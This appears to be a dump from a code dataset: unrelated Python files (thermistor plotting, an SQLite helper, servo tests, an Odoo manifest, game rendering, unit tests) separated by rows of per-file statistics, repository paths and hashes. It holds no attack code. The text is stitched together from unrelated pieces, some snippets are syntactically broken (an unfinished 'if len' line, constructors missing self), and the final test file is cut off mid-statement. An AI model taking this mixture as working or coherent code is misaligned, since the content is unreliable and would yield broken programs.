import numpy as np import matplotlib.pyplot as plt # NTC103F397F datasheet d_T = np.array(np.arange(-40, 121, 5)) d_R = np.array([333.110, 240.704, 175.794, 129.707, 96.646, 72.691, 55.169, 42.234, 32.6, 25.364, 19.886, 15.705, 12.490, 10.0, 8.0584, 6.5341, 5.3297, 4.3722, 3.6065, 2.9906, 2.4925, 2.0875, 1.7565, 1.4848, 1.2605, 1.0746, 0.91983, 0.79042, 0.68178, 0.59020, 0.51271, 0.44690, 0.39080]) d_B = 3970 d_T0 = 273.15 + 25 d_R0 = 10 # B parameter equation b_T = 1/d_T0 - (1/d_B)*np.log(d_R0) + (1/d_B)*np.log(d_R) # Steinhart–Hart equation s_T = b_T + 0.000000254 * (np.log(d_R)**3) s_T = 1/s_T - 273.15 b_T = 1/b_T - 273.15 # B, SH plt.figure(1) plt.plot(d_T, d_R, label="datasheet", marker='*') plt.plot(b_T, d_R, label="B equ") plt.plot(s_T, d_R, label="SH equ") plt.yscale('log') plt.grid() plt.legend() plt.xlabel(r"$\degree C$") plt.ylabel(r"$k\Omega$") # find optimal resistan plt.figure(2) for R in [3, 5, 10, 20]: T_v = d_R*5/(R+d_R) plt.plot(d_T, T_v, label=r"{0} $k\Omega$".format(R)) plt.xticks(np.arange(-40, 121, 10)) plt.yticks(np.arange(0, 5.1, 0.2)) plt.grid() plt.xlabel(r"$\degree C$") plt.ylabel("V") plt.legend() plt.show()
26.434783
89
0.613487
265
1,216
2.709434
0.407547
0.022284
0.02507
0.033426
0.097493
0.097493
0.072423
0
0
0
0
0.247024
0.171053
1,216
45
90
27.022222
0.464286
0.077303
0
0.176471
0
0
0.061828
0
0
0
0
0
0
1
0
false
0
0.058824
0
0.058824
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
a96d57b61d8688819ccbbbd9291ae22fdd80039b
566
py
Python
sqlite_framework/sql/item/constraint/table/base.py
alvarogzp/python-sqlite-framework
29db97a64f95cfe13eb7bae1d00b624b5a37b152
[ "Apache-2.0" ]
1
2020-08-29T12:42:11.000Z
2020-08-29T12:42:11.000Z
sqlite_framework/sql/item/constraint/table/base.py
alvarogzp/python-sqlite-framework
29db97a64f95cfe13eb7bae1d00b624b5a37b152
[ "Apache-2.0" ]
4
2018-05-07T19:36:30.000Z
2018-05-29T05:18:13.000Z
sqlite_framework/sql/item/constraint/table/base.py
alvarogzp/python-sqlite-framework
29db97a64f95cfe13eb7bae1d00b624b5a37b152
[ "Apache-2.0" ]
null
null
null
from sqlite_framework.sql.item.base import SqlItem from sqlite_framework.sql.item.column import Column class TableConstraint(SqlItem): def str(self): raise NotImplementedError() class ColumnListTableConstraint(TableConstraint): def __init__(self, constraint_type: str, *columns: Column): super().__init__() self.type = constraint_type self.columns = columns def str(self): columns = ", ".join(column.name for column in self.columns) return "{type} ({columns})".format(type=self.type, columns=columns)
29.789474
75
0.701413
65
566
5.923077
0.430769
0.085714
0.098701
0.114286
0.135065
0
0
0
0
0
0
0
0.190813
566
18
76
31.444444
0.840611
0
0
0.153846
0
0
0.035336
0
0
0
0
0
0
1
0.230769
false
0
0.153846
0
0.615385
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a97282eeac0597449d543922ed87821479844a39
724
py
Python
src/baboon_tracking/mixins/history_frames_mixin.py
radioactivebean0/baboon-tracking
062351c514073aac8e1207b8b46ca89ece987928
[ "MIT" ]
6
2019-07-15T19:10:59.000Z
2022-02-01T04:25:26.000Z
src/baboon_tracking/mixins/history_frames_mixin.py
radioactivebean0/baboon-tracking
062351c514073aac8e1207b8b46ca89ece987928
[ "MIT" ]
86
2019-07-02T17:59:46.000Z
2022-02-01T23:23:08.000Z
src/baboon_tracking/mixins/history_frames_mixin.py
radioactivebean0/baboon-tracking
062351c514073aac8e1207b8b46ca89ece987928
[ "MIT" ]
7
2019-10-16T12:58:21.000Z
2022-03-08T00:31:32.000Z
""" Mixin for returning history frames. """ from collections import deque from typing import Deque from rx.core.typing import Observable from baboon_tracking.models.frame import Frame class HistoryFramesMixin: """ Mixin for returning history frames. """ def __init__(self, history_frame_count: int, history_frame_popped: Observable): self.history_frames: Deque[Frame] = deque([]) self.history_frame_popped = history_frame_popped self._history_frame_count = history_frame_count def is_full(self): """ Returns true if the history frame deque is full. """ return len(self.history_frames) >= self._history_frame_count
25.857143
84
0.68232
86
724
5.465116
0.383721
0.204255
0.13617
0.134043
0.12766
0
0
0
0
0
0
0
0.241713
724
27
85
26.814815
0.856102
0.165746
0
0
0
0
0
0
0
0
0
0
0
1
0.181818
false
0
0.363636
0
0.727273
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
a975a7568cae17acd3d7b4203c548d145cfe9d6a
147
py
Python
src/assisters/mytypes.py
khyreek/Codeforcescord-Bot
b47ce6b1bf779e6d3f904b3dcb2a811b74e90b17
[ "Apache-2.0" ]
null
null
null
src/assisters/mytypes.py
khyreek/Codeforcescord-Bot
b47ce6b1bf779e6d3f904b3dcb2a811b74e90b17
[ "Apache-2.0" ]
null
null
null
src/assisters/mytypes.py
khyreek/Codeforcescord-Bot
b47ce6b1bf779e6d3f904b3dcb2a811b74e90b17
[ "Apache-2.0" ]
null
null
null
from typing import Annotated Problem = Annotated[str, "code cfs problems have, ex. 1348B"] ProblemWidth = int CFSSectionsData = tuple[int, ...]
18.375
61
0.734694
18
147
6
0.888889
0
0
0
0
0
0
0
0
0
0
0.032258
0.156463
147
7
62
21
0.83871
0
0
0
0
0
0.226027
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
a9840415a7cc2a3662940dac6af33c62299a8276
551
py
Python
Methods/Machine/Conductor/check.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
2
2020-06-29T13:48:37.000Z
2021-06-15T07:34:05.000Z
Methods/Machine/Conductor/check.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
null
null
null
Methods/Machine/Conductor/check.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """@package Methods.Machine.Conductor.check Check that the Conductor is correct @date Created on Thu Jan 22 17:50:02 2015 @copyright (C) 2015-2016 EOMYS ENGINEERING. @author pierre_b """ from pyleecan.Methods.Machine.LamSlotWind.check import Lam_WindCheckError def check(self): """Check that the Conductor object is correct Parameters ---------- self : Conductor A Conductor object Returns ------- None """ pass class CondCheckError(Lam_WindCheckError): """ """ pass
17.774194
73
0.658802
66
551
5.454545
0.69697
0.077778
0.066667
0.116667
0
0
0
0
0
0
0
0.048724
0.217786
551
30
74
18.366667
0.786543
0.598911
0
0.4
0
0
0
0
0
0
0
0
0
1
0.2
false
0.4
0.2
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
a99d2fd19858a720fd9deb294de8995490e6da48
574
py
Python
game/rendering.py
rajbala5479/asteroid
73c6eab1bbdb68ff6c7f337c9517ba0ac1f34294
[ "MIT" ]
null
null
null
game/rendering.py
rajbala5479/asteroid
73c6eab1bbdb68ff6c7f337c9517ba0ac1f34294
[ "MIT" ]
null
null
null
game/rendering.py
rajbala5479/asteroid
73c6eab1bbdb68ff6c7f337c9517ba0ac1f34294
[ "MIT" ]
null
null
null
import math class Renderer: # Convenience methods def drawCircle( self, radius = 10, res = 30): pass class FilledPolygon(): def __init__(): pass def render(self): if len class PolyLine(): def __init__(): pass def make_circle(radius = 10, res = 20, filled = True): points = [] for i in range(res): ang = 2*math.pi * i / res points.append((math.cos(ang) * radius, math.sin(ang) * radius) ) if filled: return FilledPolygon(points) else: return PolyLine(points, True)
19.793103
72
0.574913
70
574
4.585714
0.542857
0.049844
0.068536
0.087227
0
0
0
0
0
0
0
0.022843
0.313589
574
29
73
19.793103
0.791878
0.033101
0
0.238095
0
0
0
0
0
0
0
0
0
0
null
null
0.142857
0.047619
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
a99e5850b3151bb654dd58f3e042f9310c260e3c
2,770
py
Python
tests/components/test_servo.py
Shivam60/j5
18069737644c8f1c95944386773c7643d5df5aeb
[ "MIT" ]
null
null
null
tests/components/test_servo.py
Shivam60/j5
18069737644c8f1c95944386773c7643d5df5aeb
[ "MIT" ]
null
null
null
tests/components/test_servo.py
Shivam60/j5
18069737644c8f1c95944386773c7643d5df5aeb
[ "MIT" ]
null
null
null
"""Tests for the servo classes.""" from typing import List, Optional, Type import pytest from j5.backends import Backend from j5.boards import Board from j5.components.servo import Servo, ServoInterface, ServoPosition class MockServoDriver(ServoInterface): """A testing driver for servos.""" def get_servo_position(self, board: Board, identifier: int) -> ServoPosition: """Get the position of a Servo.""" return 0.5 def set_servo_position( self, board: Board, identifier: int, position: ServoPosition, ) -> None: """Set the position of a Servo.""" pass class MockServoBoard(Board): """A testing board for servos.""" @property def name(self) -> str: """The name of this board.""" return "Testing Servo Board" @property def serial(self) -> str: """The serial number of this board.""" return "SERIAL" @property def firmware_version(self) -> Optional[str]: """Get the firmware version of this board.""" return self._backend.get_firmware_version(self) @property def supported_components(self) -> List[Type["Component"]]: """List the types of component that this Board supports.""" return [Servo] def make_safe(self): """Make this board safe.""" pass @staticmethod def discover(backend: Backend): """Detect all of the boards on a given backend.""" return [] def test_servo_interface_implementation(): """Test that we can implement the ServoInterface.""" MockServoDriver() def test_servo_interface_class(): """Test that the interface class is ServoInterface.""" assert Servo.interface_class() is ServoInterface def test_servo_instantiation(): """Test that we can instantiate a Servo.""" Servo(0, MockServoBoard(), MockServoDriver()) def test_servo_get_position(): """Test that we can get the position of a servo.""" servo = Servo(2, MockServoBoard(), MockServoDriver()) assert type(servo.position) is float assert servo.position == 0.5 def test_servo_set_position(): """Test that we can set the position of a servo.""" servo = Servo(2, MockServoBoard(), MockServoDriver()) servo.position = 0.6 def test_servo_set_position_none(): """Test that we can set the position of a servo to None.""" servo = Servo(2, MockServoBoard(), MockServoDriver()) servo.position = None def test_servo_set_position_out_of_bounds(): """Test that we cannot set < -1 or > 1.""" servo = Servo(2, MockServoBoard(), MockServoDriver()) with pytest.raises(ValueError): servo.position = 2 with pytest.raises(ValueError): servo.position = -2
26.634615
81
0.652708
338
2,770
5.245562
0.245562
0.058658
0.047377
0.039481
0.322617
0.249295
0.222786
0.095319
0.095319
0.095319
0
0.008491
0.234657
2,770
103
82
26.893204
0.82783
0.244765
0
0.218182
0
0
0.016992
0
0
0
0
0
0.054545
1
0.272727
false
0.036364
0.090909
0
0.509091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a99e9b3110ca912a6a3fdcacc3a5951f95d02cb7
327
py
Python
Desafios/des029.py
vitormrts/ExerciciosPython
176b1c21e147670f7495678bdd4fc97241440d28
[ "MIT" ]
1
2021-02-07T18:58:57.000Z
2021-02-07T18:58:57.000Z
Desafios/des029.py
vitormrts/ExerciciosPython
176b1c21e147670f7495678bdd4fc97241440d28
[ "MIT" ]
null
null
null
Desafios/des029.py
vitormrts/ExerciciosPython
176b1c21e147670f7495678bdd4fc97241440d28
[ "MIT" ]
null
null
null
frase = str(input('Digite uma frase: ')).lower() print('Sobre a letra "a": \nQuantas vezes ela aparece? {} vezes;'.format(frase.count('a'))) print('Em que posição ela aparece pela primeira vez? {};'.format(frase.strip().index('a')+1)) print('Em que posição ela aparece pela última vez? {}.'.format(frase.strip().rfind('a')+1))
65.4
93
0.678899
51
327
4.352941
0.529412
0.135135
0.09009
0.153153
0.279279
0.279279
0.279279
0
0
0
0
0.006826
0.103976
327
4
94
81.75
0.750853
0
0
0
0
0
0.53211
0
0
0
0
0
0
1
0
false
0
0
0
0
0.75
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
a9a32c0822386523441969c6648b6dd0e0b1aae2
682
py
Python
Projeto_2/no.py
claudiodacruz/Projetos-ED
4495ed792be77f988b12c63f356f68ca709005fe
[ "MIT" ]
null
null
null
Projeto_2/no.py
claudiodacruz/Projetos-ED
4495ed792be77f988b12c63f356f68ca709005fe
[ "MIT" ]
null
null
null
Projeto_2/no.py
claudiodacruz/Projetos-ED
4495ed792be77f988b12c63f356f68ca709005fe
[ "MIT" ]
null
null
null
class No: def __init__(self, dado): self._dado = dado self._direita = None self._esquerda = None self._pai = None def get_dado(self): return self._dado def get_direita(self): return self._direita def get_esquerda(self): return self._esquerda def get_pai(self): return self._pai def set_dado(self, novoDado): self._dado = novoDado def set_direita(self, setarDireita): self._direita = setarDireita def set_esquerda(self, setarEsquerda): self._esquerda = setarEsquerda def set_pai(self, novoPai): self._pai = novoPai
22
42
0.592375
78
682
4.871795
0.217949
0.084211
0.147368
0
0
0
0
0
0
0
0
0
0.329912
682
30
43
22.733333
0.83151
0
0
0
0
0
0
0
0
0
0
0
0
1
0.409091
false
0
0
0.181818
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
8d4484e9d066b90a85e8763af3ea488f55a3ae34
68
py
Python
exe/__init__.py
whisperaven/0ops.exed
ab9f14868fec664fe78edab6fb7eb572b3048c58
[ "MIT" ]
10
2017-03-17T02:15:18.000Z
2019-10-26T23:54:21.000Z
exe/__init__.py
whisperaven/0ops
ab9f14868fec664fe78edab6fb7eb572b3048c58
[ "MIT" ]
1
2017-03-20T03:17:17.000Z
2017-03-20T04:04:26.000Z
exe/__init__.py
whisperaven/0ops
ab9f14868fec664fe78edab6fb7eb572b3048c58
[ "MIT" ]
3
2017-03-17T02:46:23.000Z
2018-04-14T15:49:56.000Z
# (c) 2016, Hao Feng <[email protected]> __version__ = '0.1.0'
17
44
0.661765
11
68
3.727273
0.909091
0
0
0
0
0
0
0
0
0
0
0.12069
0.147059
68
3
45
22.666667
0.586207
0.617647
0
0
0
0
0.208333
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
8d597279dcdef01055e59ebc350f3cf1d766f1a3
599
py
Python
tests/sdk/test_service.py
kusanagi/katana-sdk-python3
cd089409ec0d822f4d7bd6b4bebd527e003089ee
[ "MIT" ]
2
2017-03-21T20:02:47.000Z
2017-05-02T19:32:01.000Z
tests/sdk/test_service.py
kusanagi/katana-sdk-python3
cd089409ec0d822f4d7bd6b4bebd527e003089ee
[ "MIT" ]
19
2017-03-10T12:09:34.000Z
2018-06-01T18:10:06.000Z
tests/sdk/test_service.py
kusanagi/katana-sdk-python3
cd089409ec0d822f4d7bd6b4bebd527e003089ee
[ "MIT" ]
5
2017-03-10T11:40:50.000Z
2019-03-26T06:28:33.000Z
from katana.sdk.service import get_component from katana.sdk.service import Service def test_service_component(): # Check service component singleton creation assert get_component() is None service = Service() assert get_component() == service def action_callback(): pass assert service._callbacks == {} # Set an action callback action_name = 'foo' assert action_name not in service._callbacks service.action(action_name, action_callback) assert action_name in service._callbacks assert service._callbacks[action_name] == action_callback
27.227273
61
0.736227
73
599
5.808219
0.342466
0.117925
0.061321
0.09434
0.122642
0
0
0
0
0
0
0
0.196995
599
21
62
28.52381
0.881497
0.108514
0
0
0
0
0.00565
0
0
0
0
0
0.428571
1
0.142857
false
0.071429
0.142857
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
1
0
0
0
0
0
2
8d73a34deeb4110e24d2f659a64dcdc60d79219a
1,447
py
Python
delong_functions/initialization.py
braddelong/22-jupyter-ps01
95e8714e1723fb8328380a5d14aafabe2ee0795a
[ "MIT" ]
null
null
null
delong_functions/initialization.py
braddelong/22-jupyter-ps01
95e8714e1723fb8328380a5d14aafabe2ee0795a
[ "MIT" ]
null
null
null
delong_functions/initialization.py
braddelong/22-jupyter-ps01
95e8714e1723fb8328380a5d14aafabe2ee0795a
[ "MIT" ]
null
null
null
# set up the environment by reading in libraries: # os... graphics... data manipulation... time... math... statistics... import sys import os from urllib.request import urlretrieve import matplotlib as mpl import matplotlib.pyplot as plt import PIL as pil from IPython.display import Image import pandas as pd from pandas import DataFrame, Series import pandas_datareader from datetime import datetime import scipy as sp import numpy as np import math import random import seaborn as sns import statsmodels import statsmodels.api as sm import statsmodels.formula.api as smf # graphics setup: seaborn-darkgrid and figure size... plt.style.use('seaborn-darkgrid') figure_size = plt.rcParams["figure.figsize"] figure_size[0] = 7 figure_size[1] = 7 plt.rcParams["figure.figsize"] = figure_size # import delong functions from delong_functions.data_functions import getdata_read_or_download # get or download data file from delong_functions.stat_functions import initialize_basic_figure # initialize graphics from delong_functions.data_functions import data_FREDseries # construct a useful dict with source # and notes info from a previously # downloaded FRED csv file # check to see if functions successfully created... # NOW COMMENTED OUT: getdata_read_or_download? initialize_basic_figure?
32.155556
106
0.724948
189
1,447
5.433862
0.492063
0.048685
0.055501
0.046738
0.140214
0.140214
0
0
0
0
0
0.003549
0.221147
1,447
45
107
32.155556
0.90772
0.314444
0
0
0
0
0.044852
0
0
0
0
0
0
1
0
false
0
0.814815
0
0.814815
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
8d74d9562cd8858adb9b65b43c92263f531590a9
608
py
Python
sdk/bento/graph/value.py
bentobox-dev/bento-box
3e10c62f586c1251529e059b6af515d4d03c60e9
[ "MIT" ]
1
2021-01-02T02:50:15.000Z
2021-01-02T02:50:15.000Z
sdk/bento/graph/value.py
joeltio/bento-box
3e10c62f586c1251529e059b6af515d4d03c60e9
[ "MIT" ]
48
2020-10-21T07:42:30.000Z
2021-02-15T19:34:55.000Z
sdk/bento/graph/value.py
joeltio/bento-box
3e10c62f586c1251529e059b6af515d4d03c60e9
[ "MIT" ]
null
null
null
# # Bentobox # SDK - Graph # Graph Value # from typing import Any from bento.value import wrap from bento.protos.graph_pb2 import Node def wrap_const(val: Any): """Wrap the given native value as a Constant graph node. If val is a Constant node, returns value as is. Args: val: Native value to wrap. Returns: The given value wrapped as a constant graph node. """ # check if already constant node, return as is if true. if isinstance(val, Node) and val.WhichOneof("op") == "const_op": return val return Node(const_op=Node.Const(held_value=wrap(val)))
25.333333
68
0.677632
94
608
4.329787
0.393617
0.066339
0.054054
0.078624
0.09828
0
0
0
0
0
0
0.002155
0.236842
608
23
69
26.434783
0.875
0.475329
0
0
0
0
0.035336
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
a5c55462952f35e96e4d815b3891933e684d12b8
784
py
Python
rhasspy/speech.py
Wil-Peters/HomeAutomation
ab4f78d9fad42093435732233e99003f12dca5e7
[ "MIT" ]
2
2020-04-09T20:29:15.000Z
2021-01-20T09:21:02.000Z
rhasspy/speech.py
Wil-Peters/HomeAutomation
ab4f78d9fad42093435732233e99003f12dca5e7
[ "MIT" ]
null
null
null
rhasspy/speech.py
Wil-Peters/HomeAutomation
ab4f78d9fad42093435732233e99003f12dca5e7
[ "MIT" ]
null
null
null
import configparser import os from typing import ByteString import requests from core.speaker import Speaker from core.texttospeech import TextToSpeechGenerator class RhasspySpeech(Speaker, TextToSpeechGenerator): def __init__(self): Speaker.__init__(self) TextToSpeechGenerator.__init__(self) config = configparser.ConfigParser() config_file = os.path.dirname(os.path.abspath(__file__)) + "/config.ini" config.read(config_file) self._api_url = config["Rhasspy"]["Speaker"] def speak_text(self, text: str): requests.post(self._api_url + "/text-to-speech", text) def generate_speech_file(self, text: str) -> ByteString: return requests.post(self._api_url + "/text-to-speech?play=false", text).content
29.037037
88
0.715561
93
784
5.741935
0.397849
0.044944
0.05618
0.071161
0.127341
0.127341
0.127341
0.127341
0
0
0
0
0.178571
784
26
89
30.153846
0.829193
0
0
0
0
0
0.084184
0.033163
0
0
0
0
0
1
0.166667
false
0
0.333333
0.055556
0.611111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
a5e93ad8745db2b82f7503c050a79a9fd3c06143
419
py
Python
tests/search/test_search_onedrive.py
theodoriss/Office365-REST-Python-Client
3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e
[ "MIT" ]
544
2016-08-04T17:10:16.000Z
2022-03-31T07:17:20.000Z
tests/search/test_search_onedrive.py
theodoriss/Office365-REST-Python-Client
3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e
[ "MIT" ]
438
2016-10-11T12:24:22.000Z
2022-03-31T19:30:35.000Z
tests/search/test_search_onedrive.py
theodoriss/Office365-REST-Python-Client
3bd7a62dadcd3f0a0aceeaff7584fff3fd44886e
[ "MIT" ]
202
2016-08-22T19:29:40.000Z
2022-03-30T20:26:15.000Z
from tests.graph_case import GraphTestCase class TestSearchOneDrive(GraphTestCase): @classmethod def setUpClass(cls): super(TestSearchOneDrive, cls).setUpClass() @classmethod def tearDownClass(cls): pass def test1_search_files(self): result = self.client.search.query("Guide.docx", entity_types=["driveItem"]).execute_query() self.assertIsNotNone(result.value)
23.277778
99
0.706444
43
419
6.767442
0.697674
0.09622
0
0
0
0
0
0
0
0
0
0.00295
0.190931
419
17
100
24.647059
0.855457
0
0
0.181818
0
0
0.045455
0
0
0
0
0
0.090909
1
0.272727
false
0.090909
0.090909
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
5708b5548cafd7c9ca9620325b1633201ca209f8
1,127
py
Python
mail_open_xchange/__openerp__.py
OdooCommunityWidgets/IDEAS-FOR-MODULES
74c588f6b6058119b8953650b6cb325fe5506cfd
[ "MIT" ]
1
2015-05-27T19:56:29.000Z
2015-05-27T19:56:29.000Z
mail_open_xchange/__openerp__.py
OdooCommunityWidgets/IDEAS-FOR-MODULES
74c588f6b6058119b8953650b6cb325fe5506cfd
[ "MIT" ]
null
null
null
mail_open_xchange/__openerp__.py
OdooCommunityWidgets/IDEAS-FOR-MODULES
74c588f6b6058119b8953650b6cb325fe5506cfd
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- { 'name': 'Open-Xchange Odoo', 'version': '1.0', 'category': 'Social Network', 'sequence': 2, 'summary': 'Discussions, Mailing Lists, News', 'description': """ Open-Xchange Integration ========================= This module is designed to be a standard open-xchange inbox inside Odoo to allow for the use of email inside the Odoo framework as an option alongside Odoo's own mail module. I would like to slowly add features to this to further integrate Open-Xchange inside Odoo to allow for easier migration to Odoo for those that are not interested in using Odoo's default mail module to completely replace their emails. Main Features ------------- * Open-Xchange webmail interface inside Odoo. * Multi-inbox handling by Open-Xchange. * More features to be added later to further integrate Open-Xchange with Odoo. """, 'author': 'Luke Branch', 'website': 'https://github.com/OdooCommunityWidgets/IDEAS-FOR-MODULES/mail_open_xchange', 'depends': ['base', 'base_setup', 'mail'], 'data': [ '', ], 'installable': False, 'application': True, }
38.862069
233
0.674357
149
1,127
5.080537
0.644295
0.116248
0.031704
0.044914
0.129458
0
0
0
0
0
0
0.004348
0.183673
1,127
28
234
40.25
0.818478
0.018634
0
0
0
0.076923
0.833333
0.022645
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
570ee5f940cb42c1bdadbd336c5d3471836f1133
7,359
py
Python
tests/test/base/test_map_set.py
Eve-ning/reamber_base_py
6d19c84f2c110b60e633b82b73e0516396466f56
[ "MIT" ]
10
2020-06-28T11:16:36.000Z
2021-08-09T21:41:43.000Z
tests/test/base/test_map_set.py
Eve-ning/reamberPy
6d19c84f2c110b60e633b82b73e0516396466f56
[ "MIT" ]
35
2020-06-18T13:05:50.000Z
2022-02-18T10:13:35.000Z
tests/test/base/test_map_set.py
Eve-ning/reamber_base_py
6d19c84f2c110b60e633b82b73e0516396466f56
[ "MIT" ]
2
2021-05-26T17:05:06.000Z
2021-06-12T18:42:13.000Z
import unittest import numpy as np from reamber.base import Bpm, Hit, Hold, Map, MapSet from reamber.base.lists import BpmList from reamber.base.lists.notes import HitList, HoldList # noinspection PyTypeChecker,DuplicatedCode class TestMapSet(unittest.TestCase): """ Not much to test here since Bpm is basically Note. """ def setUp(self) -> None: """ BPM 300: 200ms/beat BPM 200: 300ms/beat BPM 300 300 200 200 OFF 0 200 400 600 800 1000 1200 1400 1600 1900 2200 2500 BEAT 0 1 2 3 0 1 2 3 0 1 2 3 HIT 0 1 2 3 0 1 2 3 0 1 2 3 HOLD 2-----2 0--0 1--------1 0--------------------0 3--3 3--------3 """ self.bpm_offsets = np.asarray([0, 800, 1600, 2500]) self.bpm_bpms = np.asarray([300, 300, 200, 200]) self.bpm_metronomes = np.asarray([4, 4, 3, 5]) self.hit_offsets = np.asarray([0, 200, 300, 400, 500, 600, 900, 1000, 1400, 1600, 2200, 2350]) self.hit_columns = np.asarray([0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3]) self.hold_offsets = np.asarray([0, 100, 300, 600, 1000, 1500]) self.hold_columns = np.asarray([2, 3, 0, 3, 1, 0]) self.hold_lengths = np.asarray([200, 100, 100, 300, 300, 1000]) self.bpms = [Bpm(offset=o, bpm=b, metronome=m) for o, b, m in zip(self.bpm_offsets, self.bpm_bpms, self.bpm_metronomes)] self.hits = [Hit(offset=o, column=c) for o, c in zip(self.hit_offsets, self.hit_columns)] self.holds = [Hold(offset=o, column=c, length=l) for o, c, l in zip(self.hold_offsets, self.hold_columns, self.hold_lengths)] self.map1 = Map() self.map1.hits = HitList(self.hits) self.map1.holds = HoldList(self.holds) self.map1.bpms = BpmList(self.bpms) self.map2 = self.map1.deepcopy() self.map_set = MapSet([self.map1, self.map2]) def test_type(self): self.assertIsInstance(self.map_set.maps, list) def test_stack(self): s = self.map_set.stack() self.assertListEqual(self.hit_offsets.tolist(), self.map_set.maps[0][HitList][0].offset.tolist()) self.assertListEqual(self.hold_offsets.tolist(), self.map_set.maps[0][HoldList][0].offset.tolist()) self.assertListEqual(self.hit_offsets.tolist(), self.map_set.maps[1][HitList][0].offset.tolist()) self.assertListEqual(self.hold_offsets.tolist(), self.map_set.maps[1][HoldList][0].offset.tolist()) s.offset += 1000 self.assertListEqual((self.hit_offsets + 1000).tolist(), self.map_set.maps[0][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets + 1000).tolist(), self.map_set.maps[0][HoldList][0].offset.tolist()) self.assertListEqual((self.hit_offsets + 1000).tolist(), self.map_set.maps[1][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets + 1000).tolist(), self.map_set.maps[1][HoldList][0].offset.tolist()) def test_stack_loop(self): for m in self.map_set: stack = m.stack(['hits']) stack.loc[stack.offset < 1000, 'column'] += 1 self.assertEqual(self.hit_columns[0] + 1, self.map_set[0].hits.column[0]) self.assertEqual(self.hold_columns[0], self.map_set[0].holds.column[0]) self.assertEqual(self.hit_columns[-1], self.map_set[0].hits.column.tolist()[-1]) self.assertEqual(self.hold_columns[-1], self.map_set[0].holds.column.tolist()[-1]) def test_stack_offset(self): s = self.map_set.stack() s.offset *= 2 self.assertListEqual((self.hit_offsets*2).tolist(), self.map_set.maps[0][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets*2).tolist(), self.map_set.maps[0][HoldList][0].offset.tolist()) self.assertListEqual(((self.hold_offsets*2) + self.hold_lengths).tolist(), self.map_set.maps[0][HoldList][0].tail_offset.tolist()) self.assertListEqual((self.hit_offsets*2).tolist(), self.map_set.maps[1][HitList][0].offset.tolist()) self.assertListEqual((self.hold_offsets*2).tolist(), self.map_set.maps[1][HoldList][0].offset.tolist()) self.assertListEqual(((self.hold_offsets*2) + self.hold_lengths).tolist(), self.map_set.maps[1][HoldList][0].tail_offset.tolist()) def test_stack_column(self): s = self.map_set.stack() s.column *= 2 self.assertListEqual((self.hit_columns*2).tolist() ,self.map_set.maps[0][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns*2).tolist(), self.map_set.maps[0][HoldList][0].column.tolist()) self.assertListEqual((self.hit_columns*2).tolist() ,self.map_set.maps[1][HitList][0].column.tolist()) self.assertListEqual((self.hold_columns*2).tolist(), self.map_set.maps[1][HoldList][0].column.tolist()) def test_stack_inline(self): """ Checks if inline stacking works """ self.map_set.stack().column *= 2 self.assertListEqual((self.hit_columns * 2).tolist(), 